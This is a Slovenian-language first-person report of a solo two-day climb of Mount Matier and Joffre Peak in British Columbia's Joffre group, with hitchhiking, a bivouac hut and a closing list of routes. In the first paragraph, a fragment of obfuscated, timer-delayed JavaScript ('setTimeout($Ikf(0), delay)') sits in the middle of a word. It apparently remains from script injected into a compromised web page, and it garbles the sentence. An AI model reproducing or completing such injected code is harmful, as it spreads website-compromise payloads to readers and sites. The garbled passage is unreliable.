Indijansko poletje pri indijancih. Prvič preizkušeno in zares, še malo bolje kot doma. Teden stabilnega vremena, nad katerim tudi domačini vihajo obrvi, češ :” …there should be rainy now…” , me je brez pomislekov pognalo obiskat Obalne gore (Coast mountains). sprva sem se potikal po Vankuvrovem otoku in hotel obiskati hribe v Stratchona Park-u, kjer je tudi mogočno gorovje z ledeniki, pa me je spoznanje razdalj, slabih povezav – beri nimam avta – odvrnilo od teh namenov. Dolina, ki se vije severno od Vancouver-a proti mondenemu Whistlerju in dalje v notranjost severnih prostranstev je s svojo Highway 99 precej enostavno in poceni dostopna. V ruralnejših področjih je zanimivo tudi štopat, tam so ljudje res prijazni in radi ustavijo da s kom kakšno rečejo med vožnjo. Prvi postanek v Squamish-u in kulisa Mount Garibaldija nad mestom. Posvet v lokalni plezalski trgovini in soočenje z dejstvom da je dostop do Garibaldija dolg, ledenik razbit in kot tak neprimeren za solo akcije. Predlagajo Joffre group, kake 2,5h proti severu ali pa Mount Wedge nad Whistlerjem, kupim vodniček. Res so prijazni in poskušajo konstruktivno svetovati.  Naslednji dan tako skočim s špansko – angleško – novozelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andsko ekipo do Black Tusk-a (2319m), lepega razglednika nad Garibaldijevim jezerom. Prijetno kondicioniranje z nekaj scramblanja. Razgledi enkratni. Jasno nebo, prijetne temperature in napovedana stabilnost za cel teden me še bolj podkurijo v želji, da zlezem na en hrib tam okoli.

Naslednji dan sem na busu proti Whistlerju. Karto po srečnem naključju dobim zastonj in potujem pod nekim azijskim imenom. Hvala punce in praktični kanadski šofer! Plan je jasen, ko se razpakiram v hostlu v olimpijski vasi, se odpravim v lokalno plezalsko trgovino po informacije. Spet naletim na lokalce, ki ne skoparijo z idejami. Mount Wedge se za solo akcijo zaradi ledenika spet izkaže kot neprimeren. Ok, Joffre group. Primerna zadeva za dan ali dva, dostop kar z glavne ceste, ledenik neproblematičen, samo štopat je treba tja. Rentam dereze, cepin, za vsak slučaj še enega Nomica, če bo kje ledeno. Fantje v shopu  so res prijazni. Popolnoma pozitiven pristop in pristno navdušenje, da sem prost sredi tako lepega delovnega tedna in da grem v hribe. Nabavim še hrano za 2 dni, spakiram ruzak in ob 5h z mestnim busom na drug konec  mesta, kjer imam namen štopat. Slučajno na postajališču mimo pripelje commuter bus v 30 km oddaljeni Pemberton, česar sem za 4 dolarje zelo vesel. V Pembertonu tečem na pravo stran križišča poleg McDonaldsa  in v minuti me pobere čileno ki že trideset let zidari po Kanadi, zgovoren možak. V Mt Currie se že svita, ko štopam, upam da zadnjo etapo. V par minutah me pobere lokalec ki gre nekam proti Aljaski na delo, na plinsko postajo. En dan da se bo vozil. Potem bo tam 14 dni in se vrne domov za par dni, pa spet gor… Zanimivo.  Celo pot govoriva o deželi, poslu, indijancih in zimski sceni tukaj, seveda.  Ustavi na parkirišču za park Joffre Lakes. Be careful out there, pravi in se posloviva. Vse je še prazno, razen kamperja, ki še spi in para ki se počasi odpravlja. Bežen pozdrav in startam proti tem jezerom. Pot – trail, široko uhojena in lepo označena. Ruzak se zdi težak. Razmišljam če se bom srečal z medvedom. Ker sem prvi, to ne bi bilo nič takega. Sicer ti črni niso jezne sorte, so kot naši menda, miroljubneži. Spraya nimam. Grizliji pa tu ne živijo, so bolj v Rocky-ih, pravijo.

Po par km zmernega vzpona dosežem zgornje jezero. Vse tiho, nobenega nikjer. Kamp že davno prazen. Niti medveda. Obkrožim jezero in še enkrat preberem opis dostopa na ledenik, katerega serake vidim nad seboj. Po dolgem in zmeraj bolj strmem grebenu ledeniške morene počasi pridobivam višino. Zdi se mi, da je pot ki sem ubral, nekako uhojena. Ali pa tudi ne. Prisopiham do roba ledenika z leve strani. Imam že tisoč višincev za sabo in se že pozna kratek zajtrk. Pristop na ledenik je malo siten. Teden prej je zapadlo slabe pol metra snega, ki se je do sedaj že dobro predelal in stopil, na skalah pa je požled in vmesni skoki z majhnimi ledenimi slapovi, pod katerimi žubori. Izbiram prehode in nekje zagledam sledi medvedjih šap. Kaj je delal tle gor? Sledi se izgubijo proti serakom. Svašta, si rečem. Najdem meni lepši prehod in že sem na robu Matier Glacier-ja. Sonce me posije, razgled na okolišče vrhove me povabi k malici. Gledam  severno steno Mt. Matier-ja in jem neko poceni šunko. Prestrm, si mislim. Čeprav so mi rekli da je neka smer lažja… Joffre Peak-u sem itak prišel iz boka in njegove prijaznejše strani še ne vidim. Od tu je ena sama granitna podrtija. Ostali vrhovi so preko ledeniškega prostranstva… Bomo videli. Najprej na sedlo med Matierjem in Joffrejem, kot je v opisu in potem se odločim. Zadovoljen sem že z vsem logističnim razpletom dneva. Ledenik sklenem prečkati po njegovem levem robu, od daleč ocenim da je tam prijazen. Res razpok ni, skoraj raven je, bergschrund pa ni viden. Po slabem kilometru pred sabo vidim še par sto metrov ledenika in par razpok na obzorju. In sled hoje čez ledenik! Čisto posredi, desno od mene sto metrov. Kje je nisem prej opazil? Teče res zelo naravnost in se elegantno izogne par razpokam v nadaljevanju. Sklenem se ji približati. Bolj kot se ji bližam, bolj se mi zdi da ni človeška. Čuden ritem korakov. Ko sem zraven je jasno: tisti medo pozna prehod med seraki in tudi ledenik. Očitno ga je dva do tri dni nazaj prečkal. Zanimiv občutek, sredi ledenika, popolna tišina. Uporabim sled, ker je medo sigurno lokalec in pozna sceno. Tako me njegove stopinje pripeljejo varno na drugo stran. Stojim na sedlu in v pobočjih Matierja zagledam človeške stopinje. Te so čisto drugačne. Očitno so za vikend pristopili iz druge doline čez Anniversary glacier. Od tu ne izgleda več tako strmo, sploh pa ne daleč. Iz ruzaka odstranim večino teže in jo zložim pod skalo na sedlu. Sedaj s par kg manj zaupljivo grizem v breg. V bistvu je res udobno, stopinje so kot stopnice. Tudi zgoraj ko postane precej strmo, je lepo udobno.  Po kakšni uri že stopam po vršnem grebenu, opasti ni, zadnji sneg lepo predelan. Vrh premore par kvadratnih metrov ravne površine, od kjer se je res lepo razgledati. Pojma nimam kaj vidim, a je lepo. Je drugače. Popolna jasnina, razgled do obzorja, gore na vse strani. Brezveterje,  prijetnih par stopinj nad ničlo. Zanimivo. V tej deželi je ledeniški svet kakih tisoč petsto višincev nižje kot v Alpah. Vse je belo od sneženja pred tednom, ledeniki stegajo svoje jezike še nižje… vrhovi pa našega očaka ne presegajo dosti v kategorji številk. Sonce je tu šibkejše kot pri nas. Ura gre proti drugi popoldan. Sestopiti moram, in potem navzdol, čez Anniversary. Baje je na dosegu tudi Joffre Peak, čeprav se čutim utrujen in je želja minimalna. V dolini pod ledenikom bi moral biti bivak, Keith’s hut. Piše da je dober in upam tako. Jasno mi je, da v civilizacijo danes ne pridem več, ker je predaleč in štopanje ponoči sredi ničesar nima smisla. Sestop je hiter, poberem kramo pod skalo na sedlu in sledim stopinjam v novo dolino. Res je lepo slediti, si mislim. Malo udobne zamišljenosti ob zadovoljstvu nad razpletanjem dneva in že sestopam po grapi, ki postaja strma in tečna. Dobro pogledam stopinje – spet so medvedove! Kje sem zapustil človeške? Hm. Sklenem prečiti skalno brežino v levo in kmalu spet zagledam domače odtise po snežišču, ki se konča nad ogromnim grebenom ledeniške morene. Res je ogromna. Čez skrotje se spustim nanjo, pot pa vodi čisto po grebenu daleč navzdol. Kako lepo. Možic vsake toliko. V daljavi zagledam majhno jezero in zadaj majhno kočo. Je to bivak? Predobro mi zgleda… Pospešim korak, še pred temo moram tja. Zadnji del gre skozi gozd, takšen tipičen, špičaste smreke, studenci, jase in močvare. S cepinom udarjam po skalah. Da se razumeva s kosmatincem že prej, za vsak slučaj. Pred mano se pokaže koča, stopim na tipični balkon pred njo: Keith’s hut, piše na vratih. Odprem – juhuu! Peč, drva, solarni panel, luč, vse pospravljeno. Aja, nikjer nikogar. Danes od avtoštopa nisem srečal še nobenega. Prvo delo je po vodo v studenec. Drugo kurjenje. Tretje mokre cunje in gojzarje dol in sušit. Sušit, sušit, sušit… Itak preveč zakurim in mi je hitro vroče, tudi mišim na podstrešju. Bivak ima posebno zgodbo. Postavljen je v spomin alpinistu ki je preminil pred 30 leti v bližnjih gorah, postavil pa jo je njegov brat z družino in prijatelji. Financira se s prostovoljnimi prispevki – nabiralnik pri vratih, predvsem za helikopterski prevoz drv. Ja, drv. V mislih se čisto malo zmrdujem nad našimi bivaki brez kurišč in sem vesel da sem tu. Ja kanadčani so praktični ljudje. Nasekam trske in že prasketa…

Ura je šest, zunaj se svita. Vse je pomrznilo. Po zajtrku me jasno nebo in navdušenje prejšnjega dne prepričata da danes skočim še na Joffre Peak. Nisem posebej zgoden, zato se odločim da je enajst ura točka obrata. Pridem do kjer pridem, potem moram po dolini Cerise Creek-a  do ceste še pred večerom. Zminimaliziram ruzak in zagrizem spet v breg. Sonce posije zgornji del vzhodne stene, vse je tiho, vzhodna pobočja so bolj zasnežena, kar je dobro – sledi v smeri ki jo uberem, pravijo da so za vikend lezli tudi tja gor. Naslednjih tisoč višincev in malo zakisana stegna od prejšnjega dne. Lepo je. Pot gre po grebenu med vedno redkejšim gozdom. Jutranje sonce naredi okoliško sceno prijaznejšo. Do prvega snežišča, potem dereze, cepin. Hitro mi je malo žal, da nisem vstal uro prej, ker sonce hitro mehča pobočje. Izbiram možnosti vzpona v senci. Je kar strmo, zadnji del sili kolena v breg. Dosežem prvo sedlo, kjer sledi skalni odsek. Kakšna trojka, bolj reven granit, vsaka druga stvar pod rokami se maje. Izberem varianto ki gre spet v strmo snežišče proti levi na vršni greben. Od tu naprej bolj zložno navzgor. Dosežem vzhodni vrh Joffre-ta in vem da sem nekje spet izgubil sled predhodnikov. Pogledam čez rob in vidim glavni vrh kakih petdeset metrov stran in par deset višje, vmes pa skalni skok in zasnežen greben. Opazim tudi sled, ki je šla precej nižje in zaokrožila za grebenom na glavni vrh. Poletni opis gre pa iz mojega vrha… Ura je par minut pred enajsto. Ocenim da me kolovratenje na glavni vrh lahko stane tudi dodatno uro, pred šesto zvečer bi bilo dobro biti v Whistlerju, da vrnem opremo, sicer bom plačal za dodaten dan… Dovolj bo, si rečem. Joffre-ta sem spoznal. Je malo težji od Matierja, vzhodni vrh pa je vseeno moj. Sestop terja malo pazljivosti brez hitenja, zato po kratkem počitku in fotodokumentiranju sestopam.  Pri Keith-ovem bivaku sem pred drugo popoldan. Povsem zadovoljen, kratka malica, ostala roba v ruzak in gremo v še nepoznani smeri Cerise Creek-a. Kmalu opazim trail označbe in jim sledim naslednje dve do tri ure. Večinoma pragozd iglavcev, nenavadne smreke, jelke, duglazije in cedre, raznorazne, studenci, blato. Nikjer žive duše razen veveric in ptičev. Dosežem prve odseke gozdnih poti, ti. “logging roads”, ki vedno vodijo nekam proti cesti. Dostikrat so zaraščene, ker tu sečejo do čistega; napravijo poti, vse posečejo, odpeljejo in zapustijo poti živalim, mtb-jevcem, backcountry smučarjem ipd… Ter se vrnejo čez par desetletij, ko gozd spet zraste.

Iz šume stopim direkt na Duffy road. Super. Prijetno presenečen, da vodotoki, ki sem jih prej videl na karti, niso bili tako neprehodni. Par posnetkov jesenske panorame v večernem soncu in hitchiking again. Zanimiva scena. Sem sredi ničesar, prvi kraj je 35 km v smeri prihoda, naslednji pa 70 km naprej. Promet je zelo redek vendar čisto vsak ustavi. Vsakogar zanima kaj počnem sam tukaj, če je vse ok, če rabim pomoč ipd. Par avtov je polnih, bi me sicer kam stisnili, pa se jim zahvalim, da je vse ok. Sem prišel iz hribov na tem mestu in že dobim štop. Pobere me lokalec s Fordovim truckom. Navdušen, ko mu povem da sam pohajam naokoli, mi pripoveduje da je s frendi podiral smreke za tree skiing. Poderejo linijo na primeren hrib, tako, tri od štirih smrek vržeš dol, pravi, pospraviš in prodaš les in pozimi je ravno prav redko za smučanje, special fun, pravi. Gor se vozijo s snowmobilom, dol pa akcija. Zakon. Vmes obiščeva še lokalno pivovarno v Pembertonu, lokacija le za lokalce. Dobro pivo. Z naslednjim štopom spet dobim backcountry smučarja ki mi razlaga o njihovih zimskih uživancijah. Pravi, da imajo dosti bivakov tam okoli (public cabins), vsi so vzdrževani prostovoljno s prispevki, večinoma se jih poslužujejo turni smučarji. Podobno kot predhodnik pa potarna nad Instagramom in podobnimi zadevami, ki so v prej mirne dele gora prignali horde ljudi na vse kolikor toliko dostopne lokacije. Sami da se sedaj pomikajo še bolj v notranjost, pove. Pozimi je gužva v bivakih, too much, pravi. Lokacij jim vsekakor ne bo zmanjkalo. Opremo vrnem par minut pred šesto zvečer in grem na pico.

Opravljena vzpona v Joffre group, Britanska Kolumbija, Kanada:

• 16.10.18 – Mount Matier, 2783m, Northeast Spur, PD+, sneg 45°
• 17. 10 18 – Joffre Peak (east summit), 2713m, Southeast Face, PD+, III, sneg 45°

Več info:

• https://www.mountainproject.com/area/106018836/joffre-group
• http://www.keithshut.ca/
• Alpine Select: Climbs in Southwest British Columbia & Northern Washington, Kevin McLane, Elaho pub. 2001